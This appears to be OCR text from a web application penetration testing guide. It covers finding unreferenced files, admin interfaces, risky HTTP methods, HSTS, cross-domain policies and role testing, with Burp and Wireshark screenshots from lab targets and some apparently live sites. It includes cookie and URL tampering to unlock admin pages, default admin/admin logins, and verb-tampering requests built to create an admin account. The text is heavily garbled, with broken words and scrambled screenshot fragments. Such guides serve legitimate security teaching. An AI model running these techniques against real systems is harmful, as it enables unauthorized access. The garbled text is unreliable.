
modified files, inclusion files that are loaded into the language of choice and can be downloaded as
source, or even automatic or manual backups in form of compressed archives. All thesayfiggramh
the pentester access to inner workings, backdoors, administrative interfaces, or even credentials to
connect to the administrative interface or the database server.

Black Box Testing

Testing for unreferenced files uses both automated and ntachalques:

f Enumer at e

al

of

applicationds

pages and

f unc

browser, or using an application spidering tool. Most applications use a recognisable naming
scheme, and organise resources into pages and directongs wsids that describe their
function. From the naming scheme used for published content, it is often possible to infer the

name and location of unreferenced pages. For example, if a page viewuser.asp is found, then look

also for edituser.asp, adduser.aspl deleteuser.asp. If a directory /app/user is found, then look

also for /app/admin and /app/manager.

Site map | Scope

| Filter: Hiding not found items; hiding CS5, image and general binary content; hiding 4xx responses; hiding empty folders

» iZ ALSChatSession.asp
» % ALSChatText.asp
» 15 ALSChatTop.asp
ALSLivemonitor.asp
LMCentrolasp
LMOffline.asp
LMRequestz.asp
LMTrack.asp
LMVisitors.asp
LMenline.asp
Report-VisitorTracking.asp
Report-ratingperrep.asp
default.htm
depts.asp
dizablerc.js
editcan.asp
editdept.asp
edituser.asp
E userid=<%=userid%>
export.asp

index.asp

options.asp
search.asp

start.asp
topmenu.asp

[ users.asp
v ﬂ':i viewuser.asp

[1 userid=<%=rs(
|: virack.asp

v v

v

DoOE0O0D0 @EERDDDEDE0E0D00H

4 vy

v

| # Burp Spider - Submit Form

- O X

Burp Spider needs your guidance to submit a login form. Please choose the value of each form field which should be used when
submitting the form, and whether Burp should iterate submission of multi-value fields. ¥ou can control how Burp handles forms in the

Spider options tab.

Action URL:  hitp:/fwww . gopac.com.m/'soporte/edituser.asp

WMethod: POST

Type

| Name

| Value | erate |

32

Text usr <%=Usr%:= A
Text simultaneous «<Y=simultaneousi=
Select ulevel o 2] 8]
Text name <%=name%:
Text alias «Yo=alias¥e> v
1 submission

l Submit form J l Ignore form J
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9 Other clues in published content: Many web applications leave clues in published content that can
lead to the discovery of hidden pages &muctionality. These clues often appear in the source
code of HTML and JavaScript files. The source code for all published content should be manually
reviewed to identify clues about other pages and functionality.

(LA LR R OITC U O hitp://192.168.222.151/mutillidae/i X | +

@ view-sourcethttp://192.168.222.151/mutillidae/index.php?page=login.php e T} Search

<a href="http://www.owasp.org/index.php/Top 10 2010-A7" target="_blank">A7 - Insecure Cryptographic Storage</a>
<ul>
<li»<a href="index.php?page=user—-info.php">User Info</a></li>
<li»<a href="index.php?page=htmlS-=torage.php">HTMLE Storage</a></li>
</alx
<f1lixr
<lix>
<a href="http://www.cowasp.org/index.php/Top 10 2010-AE" target="_blank">A8 - Failure to Restrict URL Access</a>
<ul>
<li><a href="index.php?page=secre;c-EEuERNistrative-pages.php">"Secret” PELERlistrative Pages</a></li>

Another source of clues about unrefemmhairectories is the /robots.txt file used to provide
instructions to web robots.

C | @ Ifh.edu.gr/robots.txt

robots.txt

This file is to prevent the crawling and indexing of certain parts
of your site by web crawlers and spiders run by sites like Yahoo!
and Google. By telling these "robots" where not to go on your site,
you save bandwidth and server resources.

This file will be ignored unless it is at the root of your host:
Used: http://example.com/robots. txt
Ignored: http://example.com/site/robots. txt

For more information about the robots.txt standard, sees:
http:/fwaw. robotstxt.org/we/robots . html

For syntax checking, see:
http:/Swew. sxw.org.uk/computing/robots/check. html

HOoHEH HHHEHEHEHHHHHEHHHH

User-agent: *
Crawl-delay: 1@
# Directories
Disallow: /lfhed/

Disallow: fecoleprimaire/
Disallow: fphpmyadmin/
Disallow: fpicture_library/

Disallow: fplesk-stat/

91 Information obtained through server vulnerabilities and misconfiguration
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&« C | @ testphp.vulnweb.com/pictures/

Index of /pictures/

=i

1.jpg 11-May-2@11 1@:27 12426
1.jpg.tn 11-May-2@11 1@:27 4355
2.7ps 11-May-2@11 1@:27 3324
2.jpg.tn 11-May-2611 1@:27 1353
3.jpg 11-May-2@11 1@:27 9692
3.jpg.tn 11-May-2@11 1@:27 3725
4.jpsg 11-May-2@11 1@:27 13969
4.jpg-tn 11-May-2@11 1@:27 4615
5.jpg 11-May-2@11 1@:27 14228
5.jpg.tn 11-May-2@11 1@:27 4428
G.7pg 11-May-2@11 1@:27 11465
6.jpg.tn 11-May-2611 1@:27 4345
Z.jpg 11-May-2@11 1@:27 19219
Z.jpg.tn 11-May-2@11 1@:27 £458
8.7pg 11-May-2@11 1@:27 53299
B.jpg.tn 11-May-2@11 1@:27 4139
WS_FTP.LOG 23-Jan-20a% 18:06 771
credentials. txt 23-Jan-2889 1@:47 33
ipaddresszes.txt 23-Jan-28@3 12:59 52
path-disclosure-unix.html @s-Apr-2813 65:42 3936
path-disclosure-win.html @5-Apr-2913 03:41 698
wp-config.bak @3-Dec-2008 14:37 1535

1 Use of publicly available information: google hack, shodan.io
5. Enumerate Infrastructure and Appli cation Admin Interfaces

Black box and Gray box Testing

The following describes vectors that may be used to test for the presence of administrative interfaces.
These techniques may also be used for testing for related issues including privilege escalatian a
described elsewhere in this guide in greater detail:

9 Directory and file Enumeration An administrative interface may be present but not visibly
available to the tester. Attempting to guess the path of the administrative interface may be as
simple & requesting: /admin or /administrator etc.. A tester may have to also identify the
filename of the administration page. Forcibly browsing to the identified page may provide access
to the interface.

¥ [ hitpi192.168.222.135
E Host | Method | URL | Params | Status & | L¢
¥ [0 wordpress http:/192.168.222.136 GET Iwordpress/wp-admin/ 302 6!
> 5
|~ wp-admin
0O
»> ff;? wp-comments-post. php
s wp-content
» §5 wp-login.php
[ wp-register.php
»> ff;? wp-trackback.php
v f:} xmirpc.php
E rzd ] (\ 7 ¥

[0 wordpress
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1 Comments and links in Souredany sites use common d@e that is loaded for all site users. By
examining all source sent to the client, links to administrator functionality may be discovered and
should be investigated.

s://wpsites.net B (o]

Saspan watacnover - rer s o UL, SSpan Cimss— (UIIlNg-iinns oum I Ei— HLLp.S bar uatas
v 1s & Resources</a></p>< br>Images, code, and content on this website ar admin 5 | A v X iby copy
law.<br>
g WP Sites does not grant permission for any repurposing, republication, or redistribution.<br> "Disclosure: Some of the links in some posts are "affiliate links."<or> This m
you click on the link and purchase the item, I will receive an affiliate commission.</span></divs</footer></divy <div style="display:ncne">

ass="grofile-hash-map-d5279c8b66d25549a0ec3cBddd6aidla" >

* src='https://wpsites.net/wp-content/plugins/chavota-syntax-highlighter-plugin-955b30982001/ s /sh. jstver=4.9.4"></script>
* src='https://upsites.net/wp-content/plugins/code-highlight/js/run_prettify.js?ver=4.9.4" ></script>
pt’ src='https://s@.wp.com/wp-content/js/devicepx-jetpack.js?ver=201807 "' ></script>

/* <![CDATA[ */
ar i'etﬂackcarouselstringi = {"widths":[370,780,1000,1200,1400,20008], "is_logged in":"","lang":"en", "ajaxurl”: (S RV L T IV T VAT

Ay, "nonce”: "3dbbaB@46b”, "display_exif":"@","display_geo":"1","single_image_gallery”:"1","single_image_gallery_media_file":"","background_color™: "black","comment™:"Commen

Post Comment”,"write_comment":"irite a Comment...","loading_comments":"Loading Comments...","download_original®:"View full size <span class=\"photo-size\">{8}<span

class= to-size-times\">\u@ad7<\/span>{1}<\/span>","no_comment_text":"Please be sure to submit some text with your comment.”,"no_comment_email”:"Please provide an email addr
commen no_comment_suthor”:"Please provide your name to comment.”,"comment_post_error”:"Sorry, but there was an error posting your comment. Please try again
lster.”,"comment_approved”:"Your comment was approved.”,"comment_unapproved”:"Your comment is in moderation.”,"camera":"Camera","aperture”:"Aperture”,"shutter_speed”:"Shutter

< C | ® view-source:https://wpsites.net/robots.txt

User-agent: ia_archiver
Disallow: /

Sitemap: https://wpsites.net/sitemap.xml
Sitemap: https://wpsites.net/news-sitemap.xml
User-agent: *

Disallow: FiT[u=te ;]

Allow: fwp-sdmin/admin-ajax.php

| B oin B B3 pa

BB 03

1 Reviewing Server and Application Documentatiolf the application server or applicati is
deployed in its default configuration it may be possible to access the administration interface
using information described in configuration or help documentation. Default password lists
should be consulted if an administrative interface is foundcesatkntials are required.
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wp-admin - = o= - fa) & [E) FindFiles | %
B New -

fowaspbwa/owaspbwa-svn/var/www,/wordpress/wp-admin/

s

Mame Size  Changed Rights Owner

g o 32172012 3:112:35 AM PWHI-XT-X www-data
images 32172012 3:112:35 AM PWXT-XT-X www-data
import 372172012 3:12:35 AM PWXT-XT-X www-data

Mjadmin.php IKB  3/22/2010 3:112:30 AM PWXI--T-- www-data
Mjadmin-dh.php 10KB  3/22/2010 3:12:30 AM PWXI--T-- www-data
Mjadmin-fu:u:uter.php 1KB 32272010 3:12:30 AM PWXI--T-- www-data
Mjadmin-functiu:uns.php 5TKB  3/22/2010 3:12:30 AM PWXI--T-- www-data

Mjadmin-header.php 10KB 372272010 31230 AM PWHT--T-~ www-data
Mjl::n:u:ukmarklet.php IKB  3/22/2010 3:112:30 AM PWXI--T-- www-data
mj categories.php 6 KB 3/2272010 3:12:30 AM PWHF--T-- www-data

_|edit.php 8KB 3/22/2010 3:12:30 AM PWXI--T-- www-data
Mjedit-cu:umments.php 8KB 3/22/2010 3:12:30 AM PWXI--T-- www-data
Mjedit-fu:urm.php 4KB 372272010 3:12:30 AM PWXI--T-- www-data
Mjedit-furm-advanced.php 10KB  3/22/2010 3:12:30 AM PWXI--T-- www-data
Mjedit-fu:urm-ajax-cat.php 1KB 32272010 3:12:30 AM PWXI--T-- www-data
Mjedit-fu:urm-cu:umment.php 5KB 372272010 3:112:30 AM PWXI--T-- www-data
Mjedit—link—fu:urm.php 12KB 372272010 3:12:30 AM PWHT--T-- www-data

ﬁn hitp:/192.168.222.136 Iwordpress/wp-login.php o 302 799 HTML php 192.168.222.136 w
EAS

Request | Response
Raw | Params | Headers | Hex

POST /wordpress/wp-login.php HTTE/L.L

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x84; rv:58.0) Gecko /20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q=0.8

Accept-Language: en-CE,en;q=0.5

Accepr-Encoding: gzip, deflate

Referer: http://190.168.2022. 136/wordpress/up-login. php?redirect_to=%2FuordpresstCFup-adninIF

Content-Type: application/x-wiw-forn-urlencoded

Content-Length: 78

Cookie: dbx-postmetasgrabit=0-,1-,2- 3=, 4- &- E-fadvancedstuff=0-,61-,2-; PHPSESSID=etfetmikpnitmph7i3farnifv; acopendivids=swingset,jotto,phpbbl,rednine; acgroupswithpersist=nada
Comnsction: close

Upgrade-Insecure-Requests: 1

log=adminspwd=admingsubnit=LoginttC24BBsredirect_to=iIFvordpresst2Fup-aduint2F

80 hitpi192.188.222.138 POST  /wordpressiwp-ogin.php v 302 799 HTIL php 192.183.222.135  wordpressuser_2 I
82 [http#192.168.222.136 GET admin/ 200 10817 HTWL Broken WordPress &rsa.. 182.168.222.136

84 hitp#192.168.222.136 GET Iwordpressiwp-includes/jsifat js 304 359 seript s 182.168.222.136

85 Nip#192.168.222.136 GET IwHordpressiwp-includes/jsitw-sack s 304 359 seript 3 182.168.222.136 |
SGL hitp:/1192.168.222.135 GET Iveordpressivp-adminfist-manipulation.js 304 3sg script s 182.168.222.136 |
- T

Request | Response

Raw | Headers | Hex | HTML | Render

BI'Okel] WordPreSS (View site »)

Dashboard

1 Alternative Server Port Administration interfaces may be seen on a different port on the host
than the main application. For example, Apache Tomcat's Administration interface can often be
seen on port 8080.
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-2 C | ® www.tzg-infocenter.com:8080 hg
Home Documentation Configuration Examples Wiki Mailing Lists Find Help
Apache Tomcat/7.0.73 ‘ The Apache Software Foundation
& http://www.apache.org/
™ Recommended Reading: Server Status

Security Considerations HOW-TO MareERAT

/ Manager Application HOW-TO —_—
Clustering/Session Replication HOW-TO fllo=thlnaner,

Developer Quick Start

Tomcat Setup Realms & AAA Examples Servlet Specifications

First Web Application JDBC DataSources Tomcat Versions

& C | @ www.tzg-infocenter.com:8(

401 ed

You are not authorized to view this page. If you have not changed any configuration files, please examine the file icons/temcat-users . xml in your i liztion. That file must contain the credentials to let you use this webapp.

For example, to add th

<role rolename="manager-gu
<user username="tomcat” password="s3cret” roles="manager-gui®/>

role to the following four roles. You will need to assign the role(s) required for the functionality you wist

Mote that for Tomcat 7 onwards, the roles required to use the manager application were changed from the single

The HTML interface is protected against CSRF but the text and JMX interfaces are not. To maintain the CSRF protection:

role should not be granted either the manager-=cript or manager-jmc roles.

« Users with the
re accessed through a browser (e.g. for testing since these interfaces are intended for tools not humans) then the browser must be closed afterwards to terminate the session.

« If the text or jm

Far more information - please see the Manager App HOW-TQ.
Parametelampering A GET or POST parameter or a cookie variable may be required to enable
the administrator functionality.

C @ 192.168.222.153/bWAPP/s

0

(—
g

an ex+remely buagy web app |

Change Password Create User Set Security Level Reset Credits Blod

/ Session Mgmt. - Administrative Portals /

This page is locked.

HINT: check the URL
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C @ @ 192.168.222.153/bWAPP/smgmt_admin_portal.php? Rl v ee

ahn ex+remely buaay web app |

Change Password Create User Set Security Level Reset Credits Blog

/ Session M3m+. - Administrative Portas /

Cowabunga

You unlocked this page using an URL manipulation.

408 hitp:ir192 168222 153 GET IBWAPP/smgmt_admin_portal php 200 13430 HTML

| 409 hitp:/182.168.222.153 GET IBWAPPs/htmlS js 304 240
-

Request | Response
J Raw T Params T Headers | Hex

GET /LWAPP/smemt_adwin portal.php HTITR/L1.1
Host: 152 168.I222.153

php
script I3

User—-Agent: Mozilla/s5.0 (Windows NT 10.0; Wing4; x64; rv:58.0) Geckos/IZ0100101 Firefox/58.0
Accept: text/html, application/xhtmltxml application/xml;egq=0_9 */*;q=0_8

Accept-Lancguage: en-GE,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=LIfS5cEddl3T7ceb76a7552cebaileclo; security lewvel=1l; admin=0
Comnnection: close

Tpgrade-Insecure-Requests: 1

Cache-Control: max-age=0

408 hitpi152.168.222 153 GET Io\WAPP/smgmt_admin_portal php 200 13430 HTWML

| 409 hitp:/M182.168.222 153 GET IBWAPP/s/htmlS.js 304 240
-

—

[Raw T Headers | Hex | HTML I Render ]

php
script I3

Session Mgmt. - Administrative
Portals

This page is locked.

HINT: check the cookies...
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= — Target: hitp://192.168.222.153 w EJ

Request Response

ost: 182.168.222.153
nt: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4; xv:i§8.0)
on/xhtnlixml, application/xml;q=0.8,%/%;q=0.8
=0.5
ate

_____ 153/BWAPP/smgut_admin_portal.php
££550EAAT3TeEbTEATSI0ce5a302E00; security level=1;

e Session Mgmt. - Administrative
Portals

Cowabunga

You unlocked this page using a cookie manipulation.

@MME _IT

L T
v training

(2] (<] (o) (5] [rreascarcntem Omatches g e

EAAN

6. Test HTTP Methods

HTTP offers a number of methods that can be used to perform actions on the web server. Many of theses
methods are designed to aid developers in deploying and testing HTTP applications.

While GET and POST are by far the most common methods that are used to access information provided
by a web server, the Hypertext Transfer Protocol (HTTP) allows sevdrat (and somewhat less
known) methods:

HEAD
GET
POST

PUT
DELETE
TRACE
OPTIONS
CONNECT

=A =4 =4 -4 4 -4 -8 4

Some of these methods can potentially pose a security risk for a web application, as they allow an attacker
to modify the files stored on the web server ,aindsome scenarios, steal the credentials of legitimate
users. More specifically, the methods that should be disabled are the following:

1 PUT: This method allows a client to upload new files on the web server. An attacker can exploit
it by uploading matious files (e.g.: an asp file that executes commands by invoking cmd.exe), or
by simply using the victim server as a file repository

1 DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it
as a very simple artirect way to deface a web site or to mount a DoS attack

1 CONNECT: This method could allow a client to use the web server as a proxy

1 TRACE: This method simply echoes back to the client whatever string has been sent to the
server, and is used mainly fdebugging purposes.
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Black Box Testing

Discover the Supported Methods

Go Cance Target: http:/192.168.222.136 | | | 7
| Request Response
Raw | Headers | Hex Raw | Headers | Hex
OFTIONS // HITE/L.1 Iy HTTE/L.1 200 0K Iy
Host: 192.168.222.136 Date: IMon, 12 Feh 2018 09:48:17 GNT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHE/5. 3. 2-lubuntud. 30 with
Suhosin-Patch proxy html/3.0.1 mod python/3.3.1 Python/2.6.5 mod ssl/2.2.14
OpenSEL/0.9. 8k Phusion_Passenger/d_0.38 mod_perl/2.0.4 Perl v 10.1
Allow: GET,HEAD,POST,0PTIONS,TRACE
Vary: hecept-Encoding
Content-Length: O
Content-Type: text/html
Request Response
Raw | Headers | Hex Raw | Headers | Hex
TRACE / HITE/1 1 Iy HTTE/1.1 200 0K Iy
Host: 192.168.222.136 Date: Mon, 12 Feh 2018 10:0E:58 GHT
Coclrie: Manh Server: Aparhe/2.2.14 (Ubuntu) mod_mono/2.4.3 PHE/S.3.2-lubuntu4. 30 with
Suhosin-FPatch proxy html/3.0.1 mod python/3.3.1 Python/2.€.5 mod ss1/2.2.14

OpenSSL/0.5.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/vs.10.1
Content-Type: message/http
Content-Length: §7

[[RACE / HTTP/1.1
Host: 152.168.222.136
Coolrie: Manh

Find a page you'd like to visit that has a security constraint such that it would normally force a 302
redirect to a login page or forces a login directly. Té®t URL in this example works like thisas do

many web applications. However, if you obtain a "200" response that is not a login page, it is possible to
bypass authentication and thus authorization.

www.example.com 80 JEFF / HTTP/1.1 Host: www.exampl®a.c
HTTP/1.1 200 OK

Date: Mon, 18 Aug 2008 22:38:40 GMT

Server: Apache

SetCookie: PHPSESSID=K53QW...

If your framework or firewall or application does not support the "JEFF" method, it should issue an error
page (or preferably a 405 Not Allowed or 39&t implemented error page). If it services the request, it is
vulnerable to this issue.

If you feel that the system is vulnerable to this issue, issue diERBttacks to exploit the issue more
fully:

FOOBAR /admin/createUser.php?member=myAdmin

JB-F /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=fo0123
CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add
HEAD /admin/createUser.php?member=myAdmin

=A =4 -8 4
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With some luck, using the above three commanusdified to suit the applicath under test and testing
requirements a new user would be created, a password assigned, and made an admin.

7. Test HTTP Strict Transport Security

The HTTP Strict Transport Security (HSTS) header im@chanism thaweb sites have to communicate

to the welbrowsers thaall traffic exchanged with a given domain muatvays be sentover https.

Considering thémportance of this security measure iirgoortant to verify thatthe welsite is using this
HTTP header, in order to ensure that all the trateelsencrypted from the web brows&s the server.

The HTTP Strict Transport Security (HSTS) feature ketseb application to inform the browser, through
the useof a special response header, that it should restablish a connection to the specified domain
serversusing HTTP. Instead it should automatically establishadhection requests to access the site
through HTTPS.

The HTTP strict transport security header usesdingctives:

1 maxage: to indicate theumberof secondsha the browser should aut@tically convert all

T

HTTP requestso HTTPS.

includeSubDomains: to indicateh at al |  we b-domains mustsaHTTRSN 6 s

Here's an example of the HST@adelimplementation:

Strict TransportSecurity:maxage=60000;  includeSubDomains

sub

The usef this header by web applications mumt checked to find if thellowing security issues could
beproduced:

9 Attackers sniffing the network traffic and accessing the information transferred through an

unencrypteathannel.
©® 4 m %o Qe» 0758 BE aaafl] @M

Filter: http.request.method == "POST" Expression... Clear Apply Save
Mo . Time Source Destination Protocol Length Info
125 6.747664000 1592.168.222.129 192.168.222.136 HTTP 671 POST /dwwa/login.p

» Frame 125: 671 bytes on wire (5368 bits), 671 bytes captured (5368 bits) on interface 0
» Ethernet II, Src: Vmware_f4:f3:27 (00:0c:29:f4:f3:27), Dst: Vmware_8f:ca:00 (00:0c:29:8f:ca:00)

» Internet Protocol Version 4, Src: 182.168.222.129 (192.168.222.129), Dst: 1892.168.222.136 (192.18
» Transmission Control Protecol, Src Port: 39248 (39248), Dst Port: 80 (80), Seq: 952, Ack: 1816, L
» Hypertext Transfer Protocol

= HTML Form URL Encoded: application/x-www-form-urlencoded

» Form i1tem: "username" = "admin"
» Form i1tem: "password" = "admin"
» Form 1tem: "Login" = "Login"

Attackersexploiting a man in theniddle attack because of the problem of accepting certificates

that are notrusted.

Users who mistakenly entered an address intif@vseputting HTTP instead of HTTPS, or

users who cliclon a link in a webapplication whichmistakenly indicated the htgprotocol.
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-gruyere.appspot .com 5785984805

curity. [Value: Missi

Randomizing 25° 5 for scanning.
Scanning the for 255 hosts...

4 hosts added to the hosts 1
Starting Unified sniffing.

Text only Interface activated,
1

Hit 'h* for inline help

HTTP : 172.217.24.52:80 -> USER: admin PASS: admin INFO: http://google-gruyere
.appspot.com/3 849719268359487672153166049¢ 4356/10gin

HTTP : 74.125.130,.153:80 -> USER: admin P dmin INFO: /3674849719268359487
67215316604991514356/1ogin?uid=admin&pw=admin

How to test

1 I have wrote a tool which can analyze header, contact to me to get this tool for free.

9 Burpsuite response
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551 hitps./fwww . facebook.com POST lajax/bz o 200
<

Fequest | Response ]
j Raw T Headers T Hex ]

HTTP/1.1 Z0O0 OK
W-Frame-Options: DENT
content-—security-policy: default-sre * data: blob:i;script-sre *. facebook.com *. fhodn_net *f

*ospotilocal com:* 'unsafe-inline' 'wnsafe-ewval' fhstatic-a.akfamaihd. net fhodn-static-h-a. ak
*roconnect-sre Y. facebook.com facebook.com *. fhodn.onet *. facebook_net *.spotilocal_ com:* *_ak
attachment . fhshx. com ws: //localhost:* hlob: * cdninstagram. com 'self';

H-¥E5-Protection: 0O

Aecess—Control-Allow-Credentials: true

Aocess-Control-Allow-Origin: https: /S fwww. facebook . com

Access—Control-Expose-Headers: X-FE-Debuyg, M-Loader-Length

Pragma: no-cache

Varv: Origin

Access—Control-Allow-Methods: OPTIONS

Strict-Transport-Security: max—age=1l555Z2000; preload

Content-Type: application/x-javascript; charset=utf-8

H-Content-Type-Options: nosniff

Expires: Sat, 01 Jan Z000 00:00:00 GMT

Cache-Control: priwvate, no-cache, no-store, must-revalidate

8. Test RIA cross domain policy
RIAs are wekbased services that perform the same functiodesigop application systems.

A crossdomain policy file specifies thgpermissions that a web client such as Java, Adobe RAdsihe
Readeretc. use to access data across different domains. For Silverlight, Microsoft adopted a subset of the
Adobe'scrossdomain.xml, and additionally created it's own cidssain policyfile:

clientaccesspolicy.xml.

Whenever a web client detects that a resource has to be requested from other domain, it will first look for
a policyfile in the targetomainto determine iperforming crosslomainrequests, including headers, and
socketbased connections are allowed.

Master policy files are locatedat the domain'soot. A client may be instructetd load a different
policy file but itwill always check the master policy filérst to ensure that the master policy fipermits
the requested policy file.

How to Test

We should try to retrieve the policy files crossdomain.xml and clientaccesspolicy.xml from the
applicationés root and from every folder found.
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&« & ‘Q‘ @ testphp.vulnweb.com/crossdomain.xm|

This XML file does not appear to have any style information associated with 1t. The document tree 1s shown below.

— <cross-domain-policy>
<allow-access-from domain="*" to-ports="*" secure="false"/>
</cross-domain-policy>

After retrievingall the policy files, the permissions allowed should be checked undésdbe privilege
principle. Requests should ongome from the domaingorts, or protocols that are necessary. Overly
permissive policies should be avoided. Policies withitfthemshould be closely examined.

3. Flash cross-domain policy

Ty T oy
L Previous ) L Mext )

Summary
Severity: High

Confidence: Certain

Host http:/itestphp.vulnweb.com
Path: lcrossdomain.xml
Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Request

GET /crossdomain_xml HTTP/M 1
Host: testphp.vulnweb.com
Connection: close

Response

HTTR/1.1 200 OK

Server: nginx/1.4.1

Date: Thu, 01 Feb 2018 09:40:41 GMT
Content-Type: textxml

Content-Length: 224

Last-Modified: Tue, 11 Sep 2012 10:30:22 GMT
Connection: close

ETag: "504f12be-e0"

Accept-Ranges: bytes

=%xml version="1.0"7>

<IDOCTYPE cross-domain-policy SYSTEM "http:/fwww_adobe com/xml/dtds/cross-domain-policy dtd">
<cross-domain-policy =

<allow-access-from domain="*" to-ports="*" secure="false"/>

...[SNIP]...
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Identity Management Testing

1. Test Role Definition
Test objectives

Validate the system roles defined within the application sufficiently define and separate each system and
business role to manage appropriate accesgstem function and information

How to test

Either with or without the help of the system dev or admin, develop an role versus permission matrix. The
matrix will show and enumerate all the roles that can be provisioned and explore the permissions that are
allowed to be applied to the objects including any constraints.

Example

In real world, | have pentested many wordpress site, example of role definitions in wordpress can be
found at shown below link

9 https://codex.wordpress.org/Roles and Capabilities

Tools

1 You can approach this problem by manual test

1 Spidering tools (Burp Suits) Log on with each role in turn an
forget to exclude the logout button/link from thgidering)
With admin account, using spider option we have this below result and save this state to file
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Burp Intruder Repeater Window Help

_[ TargetT Proxy T Spider T Scanner T Intruder T Repeater T Sequencer I Decoder T Comparer T Extender T Project options T User options T Alerts ]

Site map | Scope

| Filter: Hiding not found tems; hiding CSS, image and general binary content; hidin

¥ | @ http:/192.168.222.136
¥[8 wordpress
[
L3 @ index.php
» index.php
@ wp-admin
» 1% wp-comments-post. php
[ wp-content
» wp-includes
L3 iE} wp-login.php
L3 53 wip-register.php
» 13 wp-trackback php
» 1% xmirpc.php
|: wordpress

Contents

@ Select the output file to which Burp's state wil be saved.

Host
http:/M82.168.2

Select file ...

Look In: ﬁdeT}derp’ @ @ @ @@

X

[ﬁtnnls

[ csrintmi

File Name:

| admin_accoun{

Files of Type: | All Files

Cancel

Last-Modifi
Cache-Contr)|
Pragma: mo-|
Vary: Accepi
Content-Len|

P e e —

Back Next

With normal user account, we also use spider option and get following result

JTa.rgetT Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer I Extender T Project options T User options TAlerts ]

Site map | Scope

Fitter: Hiding not found items; hiding CS5, image and general binary content, hiding £xx responses; hiding empty folders

¥ | g hitpd192.168.222.136 Contents
r-. wordpress
> Host | Method | URL | Params | Status 4| Length
» & index.php hitp:/r192.168.222.136 GET Iwordpress/ 200 7359 &
» [ @ wp-admin hitp:/i192.168.222 138 GET fwordpress/?cat=1 < 200 7233
| S:ﬁ wp-comments-post.php hitp:#192.168.222. 136 GET Meordpressi?feed=atom o 200 2665
> wp-content hitp:/i182.168.222.136 GET Mwrordpress/?feed=com... o 200 1668
[ wp-includes hitp:/192.168.222 135 GET fwordpress/?feed=rss o 200 1454
> i3 wp-login.php http:ii192.168.222.136 GET feordpress/?feed=res2 o 200 2653
b 15 wp-register.php hitp:/i182.168.222.136 GET Iwrordpress/?Tfeed=rss2... o 200 1646
> 1% wp-trackback php hitp:ir192.168.222.136 GET Iwordpress/?feed=rss2... 4 200 733
» {5 xmirpc.php hitp:/i192.168.222 138 GET Iwordpress/?feed=ras2... < 200 1016
|: wordpress http:ii192.168.222.136 GET ferordpress/?m=200909 o 200 6510 ¥
g n nnonn no A . . J ‘ V.
Finally, use compare function to comparing
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B! Compare site maps - O hed
QJ | Fitter: Showing all tems. |GJ Key: [Modified - Added [ Sync selection
Map 1
I wp-admin A| | Host | Method | URL J J — T Trerires ]
I: / . L http:/192.168.222.136 GET Iwordpress/wp-admin/ |k
[ categories.php hitp:i192.168.222136  GET Iwordpressiwp-adminic... Raw | Params | Headers | Hex
E e:;‘c:mme”ts'p“p hitp://192.168.222.136  GET Iwordpressiwp-adminfe.... /| GIT /wordpress/wp-aduins Ta
L] edi.php hitp:/192.168.222.136 GET fwordpressiwp-adminfe..| | HTTP/1.1
> [ images http://192.168.222.136 GET fwordpressiwp-adminfim.| | Host: 192.1E8.222.138
L indexphp hitp://192.168.222.136 GET Jwordpressiwp-adminim | | Age=pt-Enzoding: gzip,
[ imk-add.php hittp:/1192.168.222.136 GET Iwordpressiwp-adminim e | GSELEES [r
[8) list-manipulation.js L 1192 188227 1 igim. | ™ e
[ @ post.php v - E — g—ﬁﬂ—mmw - ? = + = 12 highlights.
Map 2
[~ wp-admin [4] [Host | Method | URL i J e T e ]
I: / . R http:/192.168.222.136 GET Iwordpress/wp-admin/ |k
: g admin.php hitpM92.168.222.136  GET Iwordpressiwp-admin/a... Raw | Params | Headers | Hex
- categories php hittp:/1192 168222 136 GET Jwordpressiwp-admin/a TET Jjwordpress/wp—admins Ta
edit-comments. php hitpM92.168.222.136  GET Jwordpressiwp-admin/a..| | HTTD/1.1
> & edit-pages php hitpM92.168.222.136  GET Iwordpressiwp-admin/a..| | Host: 152.168.222.138
:_‘% ::“'p“p hitpM92.168.222.136  GET Jwordpressiwp-admin/a... ‘-(‘;?r‘l“gen;; If;z;ll:{' 5;;3
[ P X X indows .D; WinE4;
. images http:/192.168.222.136 POST rwurdpresspr—adm!nra... %E4; rv:58.0) Gecko/20100101
hitp:/f192.168.222.136 GET Iwordpress/wp-admin/a... F £ 58.0
[ import.php § X irefox/58.
O hitp:/192.168.222 136 GET fwordpressiwp-admin/a... Accept:
. @ index.php hitp://192.168.222.136 POST  fwordpressiwp-admiva..| | text html,applicacion/xheml+x
link-add.php hitpM92.168.222.136  GET Iwordpressiwp-admin/a. | | ml,application/xml;q=0.5,%/%;
: g :f”':_catelg_t””:s'p“p hitp://192.168.222.136 POST  fwordpressiwp-adminia. [ | @=0-8 =
ink-import.php htto: A T p———
p:i192.168.222.136 GET Iwordpress/wp-admin/a...| ¥ — —— —— — M
» link-manager.ph ! 7 i i
& inemencacrote [v) [+ J 7o) 2 I G T rovnens
l Change options J l Close J

2. Test User Registration Process
Test Objectives

1 Verify that the identity requirements for user registration are aligrifdbusiness and security
requirements
1 Validate the registration process

How to Test

Test list

=

Determine who can register for accéssyone)?

Are registrations are vetted by a human prior to provisioning or are they automatically granted if
the criteria are met.

Can the same person register multiple times?

Can user register for different roles or permissions?

What proof of identity isequired for a registration to be successful?

Are registered identities verified?

Can identity information be easily forged or faked?

1 Can the exchange of identity information be manipulated during registration process?

=

=A =4 =4 -4 4

Tools
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I Manual test
1 HTTP proxy (Burp Site, ZAP)

Example

In the wordpress example below, the only identification requirement is an email address that is accessible
to the registrant.

(@ 192.168.222.136/wordpress/wp-register.php

@WORDPRESS
Register for this blog

Username:
E-mail:

A password will be emailed to you.

Register »

« Back to blog  Login  Lost your password?

In the Google example below, the identification requirements include name, date of birth, country, mobile
phore number and two of the can be verified (Email and mobile phone number).
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@ Secure | https;//accounts.google.com/SignUp?hl=en

Name

Choose your username

| prefer to use my current email address

Create a password

Confirm your password

Birthday

Month

4

Gender

lam...

4

Mobile phone
